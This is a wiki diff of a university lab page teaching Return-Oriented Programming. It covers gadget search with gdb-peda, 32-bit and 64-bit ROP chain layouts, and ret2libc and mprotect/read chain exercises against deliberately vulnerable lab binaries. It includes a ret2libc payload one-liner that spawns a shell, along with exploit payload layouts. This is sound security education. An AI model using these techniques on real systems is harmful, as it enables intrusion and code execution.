Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-08 [2020/12/05 19:12]
mihai.dumitru2201 [1. ROP Gadgets (tutorial)]
cns:labs:lab-08 [2021/12/14 13:28] (current)
razvan.deaconescu
Line 1: Line 1:
-====== Lab 08 - Return Oriented Programming ======+====== Lab 08 - Return-Oriented Programming ======
  
 ===== Introduction ===== ===== Introduction =====
Line 48: Line 48:
 ===== Return Oriented Programming ===== ===== Return Oriented Programming =====
  
-==== From Ret-to-libc to ROP ==== 
  
-As we've seen in the introduction,​ a standard ''​ret-to-libc''​ attack would be to overwrite +==== ROP Chains and Gadgets ====
-the return address with the address of a function from ''​libc''​ like below:+
  
-<​code>​ +The building blocks ​of ROP payloads are called **gadgets**These are blocks of instructions that end with a 'ret' ​instruction. Here are some example gadgets:
-RET + 0x00:   ​addr ​of system +
-RET + 0x04:   ​JUNK +
-RET + 0x08:   ​address to desired command (e.g. '/bin/sh'+
-</​code>​+
  
-However, what happens when you need to call multiple functions? Say you need to call ''​f1()''​ and then ''​f2(0xAB,​ 0xCD)''?​ The payload should be: 
 <​code>​ <​code>​
-RET + 0x00  addr of f1 +0x00000000004011dfpop rbp; pop r14; pop r15; ret; 
-RET + 0x04  addr of f2 (return address after f1 finishes) +0x000000000040111dpop rbp; ret; 
-RET + 0x08  JUNK (return address after f2 finishes: we don't care about what happens after the 2 functions are called) +0x00000000004011e3pop rdi; ret; 
-RET + 0x0c:   0xAB (param1 of f2) +0x00000000004011e1pop rsi; pop r15; ret;
-RET + 0x10  0xCD (param2 of f2)+
 </​code>​ </​code>​
  
-What about if we need to call ''​f1(0xAB, 0xCD)''​ and then ''​f2(0xEF, 0x42)''​?+By carefully stitching such gadgets on the stack we can bring code execution ​to almost any context we want. As an example let's say we would like to load ''​0xdeadbeef''​ into ''​rdi''​ and ''​0xcafebabe''​ into ''​rsi''​. The payload should look like:  
 <​code>​ <​code>​
-RET + 0x00:   addr of f1 +RET + 0x00: 0x00000000004011e3 ​  (pop rdi; ret
-RET + 0x04:   addr of f2 (return address after f1 finishes+RET + 0x08: 0x00000000deadbeef 
-RET + 0x08:   0xAB (param1 of f1)   +RET + 0x10: 0x00000000004011e1 ​  (pop rsi; pop r15; ret) 
-RET + 0x0c:   0xCD (param2 of f1)  !! but this should also be 0xEF (param1 of f2) +RET + 0x180x00000000cafebabe 
-RET + 0x10:   0x42 (param2 of f2) +RET + 0x200x00000000cafebabe ​  ​(junk for r15, could be anything) 
-</​code>​ +RET + 0x28<address of next instruction to execute (gadget/​function call)>
- +
-This kind of conflict can be resolved using Return Oriented Programming,​ a generalization of ret2libc attacks. As we will see in the next section, the main idea is to find some intermediate instructions that will clear the parameters of ''​f1()''​ from the stack when they are no longer needed. +
-==== ROP Chains and Gadgets - 32 bit ==== +
- +
-The building blocks of ''​ROP''​ payloads are called **gadgets**. These are blocks of instructions that end with a '​ret'​ instruction. +
- +
-Here are some ''​gadgets''​ from the previous program: +
-<code asm> +
-0x8048443: ​pop ebpret +
-0x80484a7: ​pop edi; pop ebp; ret +
-0x8048441: mov ebp,esp; pop ebp; ret +
-0x80482da: pop eax; pop ebx; leave; ret +
-0x80484c3: pop ecx; pop ebx; leave; ret +
-</​code>​ +
- +
-By carefully stitching such gadgets on the stack we can bring code execution to almost any context we want. +
-As an example let's say we would like to load ''​0x41424344''​ into ''​eax''​ and ''​0x61626364''​ into ''​ebx''​. The payload should look like: +
- +
-<code asm> +
-RET + 0x00:   ​0x80482da ​ (pop eax; pop ebx; leave; ret) +
-RET + 0x04  0x41424344 +
-RET + 0x08:   0x61626364 +
-RET + 0x0c  0xAABBCCDD ???+
 </​code>​ </​code>​
  
   * First the ret addr is popped from the stack and execution goes there.   * First the ret addr is popped from the stack and execution goes there.
-  * At pop eax ''​0x41424344''​ is loaded into ''​eax''​ and the stack is increased. +  * At ''​pop rdi'',  ​''​0xdeadbeef''​ is loaded into ''​rdi''​ and the stack is increased. 
-  * At pop ebx ''​0x61626364''​ is loaded into ''​ebx'' ​and the stack is increased again. +  * At ''​ret''​, code flow will go to the instruction at the top of the stack, which is now ''​RET + 0x10'' ​(because of the previous ''​pop''​) 
-  * At leave two things actually happen: ​''​mov esp, ebp; pop ebp''​. So the stack frame is decreased to the previous one (pointed by ''​ebp''​) and ''​ebp'' ​is updated to the one before thatSo ''​esp'' ​will now be the old ''​ebp+4''​. +  * At ''​pop ​rsi''​,  ​''​0xcafebabe'' ​is loaded into ''​rsi'' ​and the stack is increased. 
-  * At ret code flow will go to the instruction ​pointed to by ''​ebp+4''​. This implies that execution will not go to 0xAABBCCDD but to some other address that may or may not be in our control ​(depending on how much we can overflow on the stack). If it is in our control we can overwrite that address with the rest of the ''​ROP'' ​chain. +  * At ''​pop r15''​,  ​''​0xcafebabe'' ​is loaded into ''​r15''​ and the stack is increased
-We have now seen how gadgets can be useful if we want the CPU to achieve ​certain state. This is particularly useful on other architectures such as ARM and x86_64 where functions do not take parameters from the stack but from registers.+  * At ''​ret'', ​code flow will go to the instruction ​at the top of the stack, which is now ''​RET 0x28''​ (because ​of the previous two ''​pop''​s) 
 +  * Here we could place function address to jump to, or maybe the address of another gadget.
  
 +We have now seen how gadgets can be useful if we want the CPU to achieve a certain state. This is particularly useful on other architectures such as ARM and x86_64 where functions do not take parameters from the stack but from registers. ​
  
-On important use of gadgets is to clear the stack. Remember the issue we had in the previous section? Let's solve it using gadgets. We need to call ''​f1(0xAB,​ 0xCD)''​ and then ''​f2(0xEF,​ 0x42)''​. Our initial solution was: +On x86_64 the function arguments are set in registers ​so we need to set the arguments ​using appropriate ROP gadgets:
-<code asm> +
-RET + 0x00:   addr of f1 +
-RET + 0x04:   addr of f2 (return address after f1 finishes) +
-RET + 0x08:   0xAB (param1 of f1)   +
-RET + 0x0c:   0xCD (param2 of f1)  !! but this should also be 0xEF (param1 of f2) +
-RET + 0x10:   0x42 (param2 of f2) +
-</​code>​ +
-  +
-The problem is that those parameters of ''​f1''​ are getting in the way of calling ''​f2''​. We need to find a <color red> pop pop ret </​color>​ gadget. The actual registers are not important. +
- +
-<code asm> +
-RET + 0x00:   addr of f1 +
-RET + 0x04:   addr of (pop eax, pop ebx, ret)  +
-RET + 0x08:   0xAB (param1 of f1)   +
-RET + 0x0c:   0xCD (param2 of f1) +
-RET + 0x10:   addr of f2 +
-RET + 0x14:   ​JUNK +
-RET + 0x18:   0xEF (param1 of f2) +
-RET + 0x1c:   0x42 (param2 of f2) +
-</​code>​  +
- +
-Now we can even call the next function f3 if we repeat the trick: +
-<code asm> +
-RET + 0x00:   addr of f1 +
-RET + 0x04:   addr of (pop eax, pop ebx, ret)  +
-RET + 0x08:   0xAB (param1 of f1)   +
-RET + 0x0c:   0xCD (param2 of f1) +
-RET + 0x10:   addr of f2 +
-RET + 0x14:   addr of (pop eax, pop ebx, ret)  +
-RET + 0x18:   0xEF (param1 of f2) +
-RET + 0x1c:   0x42 (param2 of f2)  +
-RET + 0x20:   addr of f3 +
-</​code>​ +
- +
-__** Step by step stack changes **__ +
-<​spoiler>​ +
-{{ :​cns:​labs:​st1.png?​600 |}} +
-{{ :​cns:​labs:​st2.png?​600 |}} +
-{{ :​cns:​labs:​st3.png?​600 |}} +
-{{ :​cns:​labs:​st4.png?​600 |}} +
-</​spoiler>​ +
- +
-==== ROP Chains and Gadgets - 64-bit ==== +
- +
-On x86_64 the function arguments are set in registers ​which changes the workflow for ROP. Instead of using ''​pop,​ pop, ..., ret''​ gadgets with arbitrary registers to clean the stack, ​we need to set the arguments ​in specific registers:+
  
 Example: Example:
-  * address of ''​pop rdiret''​ followed by a value on stack (first arg) +  * address of ''​pop rdiret''​ followed by a value on stack (first arg) 
-  * address of ''​pop,​ rsiret''​ followed by a value on stack (second arg)+  * address of ''​pop,​ rsiret''​ followed by a value on stack (second arg)
   * address of function with 2 arguments   * address of function with 2 arguments
  
-<​note>​ 
-  * On 32 bits we think in terms of **call + cleanup** - arguments are already on the stack, but need to be cleaned up after func call 
-  * on 64 bits we think in terms of **setup + call**. - arguments need to be set in registers before calling the function 
-</​note>​ 
  
 __** Step by step stack changes **__ __** Step by step stack changes **__
Line 175: Line 98:
  
 ==== Debugging and Tools ==== ==== Debugging and Tools ====
- 
-__** ROP payload debugging ** 
-__ 
- 
-When you know what the offending function is, disassemble it and break on “ret”. 
- 
-<code asm> 
-gdb-peda$ pdis main 
-Dump of assembler code for function main: 
-   ​0x0804843c <​+0>:​ push ​  ebp 
-   ​0x0804843d <​+1>:​ mov ​   ebp,esp 
-   ​0x0804843f <​+3>:​ and ​   esp,​0xfffffff0 
-   ​0x08048442 <​+6>:​ sub ​   esp,0x30 
-   ​0x08048445 <​+9>:​ mov ​   DWORD PTR [esp+0x8],​0x64 
-   ​0x0804844d <​+17>:​ lea ​   eax,​[esp+0x19] 
-   ​0x08048451 <​+21>:​ mov ​   DWORD PTR [esp+0x4],​eax 
-   ​0x08048455 <​+25>:​ mov ​   DWORD PTR [esp],0x0 
-   ​0x0804845c <​+32>:​ call ​  ​0x8048310 <​read@plt>​ 
-   ​0x08048461 <​+37>:​ mov ​   eax,0x0 
-   ​0x08048466 <​+42>:​ leave  ​ 
-   ​0x08048467 <​+43>:​ ret ​   ​ 
-End of assembler dump. 
-gdb-peda$ b *0x08048467 
-Breakpoint 1 at 0x8048467 
-  
-  
-AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA 
-[----------------------------------registers-----------------------------------] 
-EAX: 0x0  
-EBX: 0xf7f97e54 --> 0x1a6d5c ​ 
-ECX: 0xffffcd49 ("​AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA\n\300\317\377\367\034"​) 
-EDX: 0x64 ('​d'​) 
-ESI: 0x0  
-EDI: 0x0  
-EBP: 0x41334141 ('​AA3A'​) 
-ESP: 0xffffcd6c ("​AEAAeAA4AAFAAfA\n\300\317\377\367\034"​) 
-EIP: 0x8048467 (<​main+43>:​ ret) 
-EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) 
-[-------------------------------------code-------------------------------------] 
-   ​0x8048445 <​main+9>:​ mov ​   DWORD PTR [esp+0x8],​0x64 
-   ​0x804844d <​main+17>:​ lea ​   eax,​[esp+0x19] 
-   ​0x8048451 <​main+21>:​ mov ​   DWORD PTR [esp+0x4],​eax 
-   ​0x8048455 <​main+25>:​ mov ​   DWORD PTR [esp],0x0 
-   ​0x804845c <​main+32>:​ call ​  ​0x8048310 <​read@plt>​ 
-   ​0x8048461 <​main+37>:​ mov ​   eax,0x0 
-   ​0x8048466 <​main+42>:​ leave  ​ 
-=> 0x8048467 <​main+43>:​ ret ​   ​ 
-   ​0x8048468:​ xchg ​  ax,ax 
-   ​0x804846a:​ xchg ​  ax,ax 
-   ​0x804846c:​ xchg ​  ax,ax 
-   ​0x804846e:​ xchg ​  ax,ax 
-   ​0x8048470 <​__libc_csu_init>:​ push ​  ebp 
-   ​0x8048471 <​__libc_csu_init+1>:​ push ​  edi 
-   ​0x8048472 <​__libc_csu_init+2>:​ xor ​   edi,edi 
-   ​0x8048474 <​__libc_csu_init+4>:​ push ​  esi 
-[------------------------------------stack-------------------------------------] 
-0000| 0xffffcd6c --> 0xf7e333e0 (<​system>:​ sub ​   esp,0x1c) 
-0004| 0xffffcd70 --> 0x80484cf (<​__libc_csu_init+95>:​ pop ​   ebp) 
-0008| 0xffffcd74 --> 0xf7f56be6 ("/​bin/​sh"​) 
-0012| 0xffffcd78 --> 0xf7e25c00 (<​exit>:​ push ​  ebx) 
- 
-</​code>​ 
- 
-Then you can break on all called functions or step as needed to see if the payload is doing what you want it to. 
  
 __** Checksec in peda ** __** Checksec in peda **
Line 262: Line 121:
 gdb-peda$ dumprop gdb-peda$ dumprop
 Warning: this can be very slow, do not run for large memory range Warning: this can be very slow, do not run for large memory range
-Writing ROP gadgets to file: a-rop.txt ... +Writing ROP gadgets to file: ret2libc-rop.txt ... 
-0x8048467: ret +0x40111e: ret 
-0x804835diret +0x401083cli; ret 
-0x804838frepz ret +0x40111fnop; ret 
-0x80483be: ret 0xeac1 +0x401155leave; ​ret 
-0x80483a9leave; ret +0x401081nop edx; ret 
-0x80485b4inc ecx; ret +0x401080endbr64; ret 
-0x80484cf: pop ebp; ret +0x4010ae: jmp rax; ret 
-0x80482f5: pop ebx; ret +0x40111d: pop rbp; ret 
-0x80484df: nop; repz ret +0x4011e3: pop rdi; ret 
-0x80483a8ror cl,1; ret +0x4011e2: pop r15; ret 
-0x804838e: add dh,bl; ret +0x401154: nop; leave; ​ret 
-0x80483e5ror cl,cl; ret +0x401017add esp,0x8; ret 
-0x8048465: add cl,cl; ret +0x401016: add rsp,0x8; ret 
-0x804840bleaverepz ret +0x40107fnop; endbr64; ret 
-0x8048371sbb al,0x24; ret +0x4010f6: add [rax],al; ret 
-0x80485b3adc al,0x41; ret +0x4010f5: add [rax],r8b; ret 
-0x8048370mov ebx,[esp]; ret +0x4011e1pop rsi; pop r15; ret 
-0x80484de: nop; nop; repz ret +0x4011e0pop r14; pop r15; ret 
-0x80483a7call eax; leave; ret +0x40107ehlt; nop; endbr64; ret 
-0x80483e4: call edxleave; ret +0x4011ccfisttp ​[rax-0x7d]; ret 
-0x804840a: add ecx,ecxrepz ret +0x4011efadd bl,​dh; ​nop edxret 
-0x80484ce: ​pop edi; pop ebp; ret+0x4010f3: ​nop [rax+rax*1+0x0]; ret 
 +0x401179mov eax,0x0pop rbp; ret 
 +0x401014: call raxadd rsp,0x8; ret 
 +0x40111b: add [rcx],al; pop rbp; ret 
 +--More--(25/​115)
 </​code>​ </​code>​
  
Line 290: Line 153:
 <​code>​ <​code>​
 gdb-peda$ ropgadget gdb-peda$ ropgadget
-ret = 0x80482d2 +ret = 0x40101a 
-popret = 0x80482e9 +popret = 0x40111d 
-pop2ret ​0x804855a +addesp_8 ​0x401017
-pop4ret = 0x8048558 +
-pop3ret = 0x8048559 +
-addesp_12 = 0x80482e6 +
-addesp_16 = 0x80483b5+
 </​code>​ </​code>​
  
Line 303: Line 162:
 <code asm> <code asm>
 gdb-peda$ asmsearch "pop ? ; ret" gdb-peda$ asmsearch "pop ? ; ret"
-0x080482f5 ​: (5bc3) pop    ​ebx; ret +Searching for ASM code: 'pop ? ; ret' in: binary ranges 
-0x080484cf ​: (5dc3) pop ​   ​ebp; ret +0x0040111d ​: (5dc3    ​pop    ​rbp    ​ret 
-0x080484f6 ​: (5bc3) pop    ​ebx; ret+0x0040117e ​: (5dc3) ​    ​pop    ​rbp    ​ret 
 +0x004011e2 ​: (415fc3  ​pop    ​r15    ​ret 
 +0x004011e3 : (5fc3) ​    ​pop ​   rdi;     ret 
    
 gdb-peda$ asmsearch "pop ? ; pop ? ; ret" gdb-peda$ asmsearch "pop ? ; pop ? ; ret"
-0x080484ce ​: (5f5dc3) pop    ​edi; pop    ​ebp; ret+Searching for ASM code: 'pop ? ; pop ? ; ret' in: binary ranges 
 +0x004011e0 : (415e415fc3) ​      ​pop ​   r14;     ​pop ​   r15;     ret 
 +0x004011e1 ​: (5e415fc3) pop    ​rsi    ​pop    ​r15    ​ret
    
 gdb-peda$ asmsearch "call ?" gdb-peda$ asmsearch "call ?"
-0x080483a7 ​: (ffd0) call ​  eax +Searching for ASM code: 'call ?' in: binary ranges 
-0x080483e4 ​: (ffd2) call   edx +0x00401014 ​: (ffd0) ​    ​call   rax 
-0x0804842f ​: (ffd0) call ​  eax+0x0040104b ​: (e9d0    jmp    0x401020 
 +0x00401057 : (89d1) ​    ​mov ​   ecx,edx 
 +0x004010da ​: (48d1    sar    rsi,1 
 +0x00401160 : (e8d1) ​    call   0x401136 <​vuln>​ 
 +0x00401190 : (89d6) ​    ​mov ​   esi,edx
  
-gdb-peda$ ropsearch "​pop ​eax+gdb-peda$ ropsearch "​pop ​rdi
-...+Searching for ROP gadget: 'pop rdi' in: binary ranges 
 +0x004011e3 : (b'​5fc3'​) ​ pop rdi; ret 
 + 
 # search the requested gadget in libc area # search the requested gadget in libc area
 gdb-peda$ ropsearch "xchg eax, esp;" libc gdb-peda$ ropsearch "xchg eax, esp;" libc
Line 343: Line 213:
 ==== 1. ROP Gadgets (tutorial) ​ ==== ==== 1. ROP Gadgets (tutorial) ​ ====
  
-Run any program (for instance ​the binary from the next exercise) and find some specific ROP gadgets:+Run any program (for instance, ''​ret2libc''​) and find some specific ROP gadgets:
   * two pops in any registers followed by ret in the binary memory range.   * two pops in any registers followed by ret in the binary memory range.
   * ''​call rdi; ret''​ in libc memory range.   * ''​call rdi; ret''​ in libc memory range.
Line 362: Line 232:
 ==== 2. Return-to-libc - bypass NX/DEP (tutorial) ​ ==== ==== 2. Return-to-libc - bypass NX/DEP (tutorial) ​ ====
  
-Analyze the ''​rlibc.c''​ source code. As we can see, there is a buffer overflow vulnerability.+Analyze the ''​00-tutorial-2-ret2libc/​rlibc.c''​ source code. As we can see, there is a buffer overflow vulnerability.
 Since the binary is compiled with a non-executable stack, we cannot execute a shellcode from the buffer/​stack. One solution would be to return (jump) to an existing libc function that will give us a shell. For instance, we could call ''​%%system("/​bin/​sh"​)%%''​. This exercise assumes that the libc address of ''​system''​ remains constant, so don't forget to disable ASLR. Since the binary is compiled with a non-executable stack, we cannot execute a shellcode from the buffer/​stack. One solution would be to return (jump) to an existing libc function that will give us a shell. For instance, we could call ''​%%system("/​bin/​sh"​)%%''​. This exercise assumes that the libc address of ''​system''​ remains constant, so don't forget to disable ASLR.
  
Line 368: Line 238:
 Our exploit payload will look something like: Our exploit payload will look something like:
  
-''​%%[overflow] [<systemaddr] [fake return ​address] ["/​bin/​sh"​]%%''​ +''​%%[overflow] [<pop rdi gagdget> address] ["/​bin/​sh" ​address[system address]%%''​
- +
-In order to correctly prepare the stack frame for ''​system()''​ (so ''​%%"/​bin/​sh"​%%''​ will be placed in the parameters location), we also need to set a return ​address ​for it. +
-Since ''​system()''​ will execute the desired shell, we don't actually need to return from it, so we can set this address to a random value (e.g. ''​%%"​\x00"​*4%%''​)+
 </​note>​ </​note>​
  
Line 378: Line 245:
 root@kali:​~/​lab-08#​ gdb rlibc  root@kali:​~/​lab-08#​ gdb rlibc 
 gdb-peda$ b main gdb-peda$ b main
-Breakpoint ​at 0x8048451: file rlibc.c, line 12.+Breakpoint ​at 0x401157: file ret2libc.c, line 10.
 gdb-peda$ r gdb-peda$ r
 Starting program: /​root/​lab-08/​rlibc ​ Starting program: /​root/​lab-08/​rlibc ​
 Breakpoint 1, main () at rlibc.c:12 Breakpoint 1, main () at rlibc.c:12
 gdb-peda$ p system gdb-peda$ p system
-$1 = {<text variable, no debug info>​} ​0xf7e34af0 ​<​system>​+$1 = {<text variable, no debug info>​} ​0x7ffff7e10830 ​<​system>​
 </​code>​ </​code>​
  
Line 391: Line 258:
 Searching for '/​bin/​sh'​ in: None ranges Searching for '/​bin/​sh'​ in: None ranges
 Found 1 results, display max 1 items: Found 1 results, display max 1 items:
-libc : 0xf7f56be8 ​("/bin/sh")+libc : 0x7ffff7f53e78 --> 0x68732f6e69622f ​('/bin/sh')
 </​code>​ </​code>​
  
   * As usual, we have to identify the overflowed buffer ''​offset''​ where the return address starts. We can do this using the ''​peda''​ ''​pattc''​ and ''​patto''​ commands as in the previous [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-06#​phase_2finding_the_vulnerability|labs]]. ​   * As usual, we have to identify the overflowed buffer ''​offset''​ where the return address starts. We can do this using the ''​peda''​ ''​pattc''​ and ''​patto''​ commands as in the previous [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-06#​phase_2finding_the_vulnerability|labs]]. ​
-  * In the end, our exploit ​will look something like (where 140 is the overflowed buffer offset): +  * The complete ​exploit ​can be found in ''​00-tutorial-2-ret2libc/solution.py''​
-<code bash> +
-cat <(python -c 'print "​\x00"​*140+"​\xf0\x4a\xe3\xf7"​+"​\x00"​*4+"​\xe8\x6b\xf5\xf7"​'| ./rlibc  +
-</​code>​+
  
 ==== 3. ROP: Find the buffer ​ ==== ==== 3. ROP: Find the buffer ​ ====
  
-Analyze the content of ''​3-ropbuf/​ropbuf.c''​. There is a buffer overflow, but in order to exploit it we have to know the buffer'​s address on the stack. We had a similar situation in [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-07#​multistage_exploit_7p|lab7]] where we built a 2-stages exploit and managed to leak the buffer'​s address. But this is not always so easy to guess/leak.+Analyze the content of ''​01-ropbuf/​ropbuf.c''​. There is a buffer overflow, but in order to exploit it we have to know the buffer'​s address on the stack. We had a similar situation in [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-07#​multistage_exploit_7p|lab7]] where we built a 2-stages exploit and managed to leak the buffer'​s address. But this is not always so easy to guess/leak.
  
 === ROP Gadget to return to the buffer ​ === === ROP Gadget to return to the buffer ​ ===
Line 410: Line 274:
 gdb-peda$ pdis vuln gdb-peda$ pdis vuln
 Dump of assembler code for function vuln: Dump of assembler code for function vuln:
-   0x00000000004005b7 ​<​+0>:​ push ​  rbp +   0x0000000000401136 ​<​+0>: ​    ​push   rbp 
-   0x00000000004005b8 ​<​+1>:​ mov ​   rbp,rsp +   0x0000000000401137 ​<​+1>: ​    ​mov    rbp,rsp 
-   0x00000000004005bb ​<​+4>:​ sub ​   rsp,0x90 +   0x000000000040113a ​<​+4>: ​    ​sub    rsp,0x90 
-   0x00000000004005c2 ​<​+11>:​ mov ​   QWORD PTR [rbp-0x88],​rdi +   0x0000000000401141 ​<​+11>: ​   mov    QWORD PTR [rbp-0x88],​rdi 
-   0x00000000004005c9 ​<​+18>:​ mov ​   rdx,QWORD PTR [rbp-0x88] +   0x0000000000401148 ​<​+18>: ​   mov    rdx,QWORD PTR [rbp-0x88] 
-   0x00000000004005d0 ​<​+25>:​ lea ​   rax,​[rbp-0x80] +   0x000000000040114f ​<​+25>: ​   lea    rax,​[rbp-0x80] 
-   0x00000000004005d4 ​<​+29>:​ mov ​   rsi,rdx +   0x0000000000401153 ​<​+29>: ​   mov    rsi,rdx 
-   0x00000000004005d7 ​<​+32>:​ mov ​   rdi,rax +   0x0000000000401156 ​<​+32>: ​   mov    rdi,rax 
-   0x00000000004005da ​<​+35>:​ call ​  0x4004b0 ​<​strcpy@plt>​ +   0x0000000000401159 ​<​+35>: ​   call   0x401030 ​<​strcpy@plt>​ 
-   0x00000000004005df ​<​+40>:​ nop +   0x000000000040115e ​<​+40>: ​   nop 
-   0x00000000004005e0 ​<​+41>:​ leave ​  +   0x000000000040115f ​<​+41>: ​   leave 
-   0x00000000004005e1 ​<​+42>:​ ret    +   0x0000000000401160 ​<​+42>: ​   ​ret
 End of assembler dump. End of assembler dump.
 +
 </​code>​ </​code>​
  
 <note tip> <note tip>
 The buffer address is stored in a register when ''​ret''​ is executed. The buffer address is stored in a register when ''​ret''​ is executed.
 +
 +There is no need for a memory disclosure / information leak of the buffer address. **You can find a gadget that jumps / calls that register.**
  
 Use ''​%%ropsearch ... libc%%''​. Instead of ''​%%...%%''​ place the instructions you search. Use ''​%%ropsearch ... libc%%''​. Instead of ''​%%...%%''​ place the instructions you search.
Line 432: Line 299:
  
 Using this information,​ find a ROP gadget that will help you jump directly to a shellcode stored in the buffer. Using this information,​ find a ROP gadget that will help you jump directly to a shellcode stored in the buffer.
-Replace the return address with the address of the ROP gadget. You can start from the skeleton in ''​ropbuf.py''​. This exercise also needs ASLR disabled, since it assumes that the ROP gadget'​s address remains constant between consecutive runs.+Replace the return address with the address of the ROP gadget. You can start from the skeleton in ''​01-ropbuf/exploit.py''​. This exercise also needs ASLR disabled, since it assumes that the ROP gadget'​s address remains constant between consecutive runs.
  
 <note tip> <note tip>
Line 439: Line 306:
     io = process(["​./​ropbuf",​ payload]) ​ # Run ./ropbuf using payload as command line argument.     io = process(["​./​ropbuf",​ payload]) ​ # Run ./ropbuf using payload as command line argument.
 </​code>​ </​code>​
 +</​note>​
 +
 +<note important>​
 +You can't send NUL-bytes as part of command line arguments. When constructing the payload, use ''​%%pack(...).strip(b\"​x00"​)%%''​.
 </​note>​ </​note>​
  
Line 454: Line 325:
 As we've seen in the above sections, ROP is useful when we want to chain multiple function calls. Using ROP Gadgets we can setup function arguments in between function calls. As we've seen in the above sections, ROP is useful when we want to chain multiple function calls. Using ROP Gadgets we can setup function arguments in between function calls.
  
-Take a look at ''​4-ropfunc/ropfunc.c''​ and make it call ''​call_1()''​ followed by ''​call_2()''​ and ''​call_exit()''​. You can start from the skeleton in ''​ropfunc.py''​. When calling ''​call_1()''​ and ''​call_2()'',​ make them print the messages in the ''​if''​ block by passing the proper parameters.+Take a look at ''​02-ropchain/ropchain.c''​ and make it call ''​call_1()''​ followed by ''​call_2()''​ and ''​call_exit()''​. You can start from the skeleton in ''​02-ropchain/​exploit.py''​. When calling ''​call_1()''​ and ''​call_2()'',​ make them print the messages in the ''​if''​ block by passing the proper parameters.
 ==== 5. Bonus ROP: Libc Functions chain  ==== ==== 5. Bonus ROP: Libc Functions chain  ====
    
 Now let's move to a more practical example by chaining useful ''​libc''​ functions. Now let's move to a more practical example by chaining useful ''​libc''​ functions.
-Take a look at ''​roplibc.c''​. We can see that we have a buffer overflow on ''​buf''​ and a global, unused ''​gbuf''​.+Take a look at ''​03-roplibc/roplibc.c''​. We can see that we have a buffer overflow on ''​buf''​ and a global, unused ''​gbuf''​.
  
   * The stack is not executable so, at the first sight, we cannot put our shellcode neither in ''​buf'',​ nor in ''​gbuf''​. But what if we manage to call (jump to) **mprotect** over the memory area where we store the shellcode, and make it executable?   * The stack is not executable so, at the first sight, we cannot put our shellcode neither in ''​buf'',​ nor in ''​gbuf''​. But what if we manage to call (jump to) **mprotect** over the memory area where we store the shellcode, and make it executable?
   * Furthermore,​ given the fact that ''​gbuf''​ is larger than ''​buf'',​ we might want to put our shellcode there. But how do we do this when the only ''​read''​ call is on ''​buf''?​ In this case, we will also want to call (jump to) **read** in our exploit payload.   * Furthermore,​ given the fact that ''​gbuf''​ is larger than ''​buf'',​ we might want to put our shellcode there. But how do we do this when the only ''​read''​ call is on ''​buf''?​ In this case, we will also want to call (jump to) **read** in our exploit payload.
   * A possible ROP chain (that will start from the overwritten return address from ''​buf''​) for the described attack will look something like below. The return addresses in the ROP chain are highlighted with red and the function parameters with green.   * A possible ROP chain (that will start from the overwritten return address from ''​buf''​) for the described attack will look something like below. The return addresses in the ROP chain are highlighted with red and the function parameters with green.
-**[<​color red>pop rdi;​ret</​color>​][<​color green>​fd=0</​color>​][<​color red>pop rsi;​ret</​color>​][<​color green>​gbuf</​color>​][<​color red>pop rdx;​ret</​color>​][<​color green>​shellcode_len</​color>​][read_addr] 
  
 +**[<​color red>pop rdi;​ret</​color>​][<​color green>​fd=0</​color>​][<​color red>pop rsi;​ret</​color>​][<​color green>​gbuf</​color>​][<​color red>pop rdx;​ret</​color>​][<​color green>​shellcode_len</​color>​][read_addr]**  ​
 +
 +**[<​color red>pop rdi;​ret</​color>​][<​color green>​page</​color>​][<​color red>pop rsi;​ret</​color>​][<​color green>​page_size</​color>​] [<color red>pop rdx;​ret</​color>​][<​color green>​mp3</​color>​][mprotect_addr]**
  
-[<color red>pop rdi;​ret</​color>​][<​color green>​mp1</​color>​][<​color red>pop rsi;​ret</​color>​]][<​color green>​mp2</​color>​] [<color red>pop rdx;​ret</​color>​][<​color green>​mp3</​color>​][mprotect_addr][gbuf_addr]**+**[gbuf_addr]**
  
  
cns/labs/lab-08.1607188356.txt.gz · Last modified: 2020/12/05 19:12 by mihai.dumitru2201
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0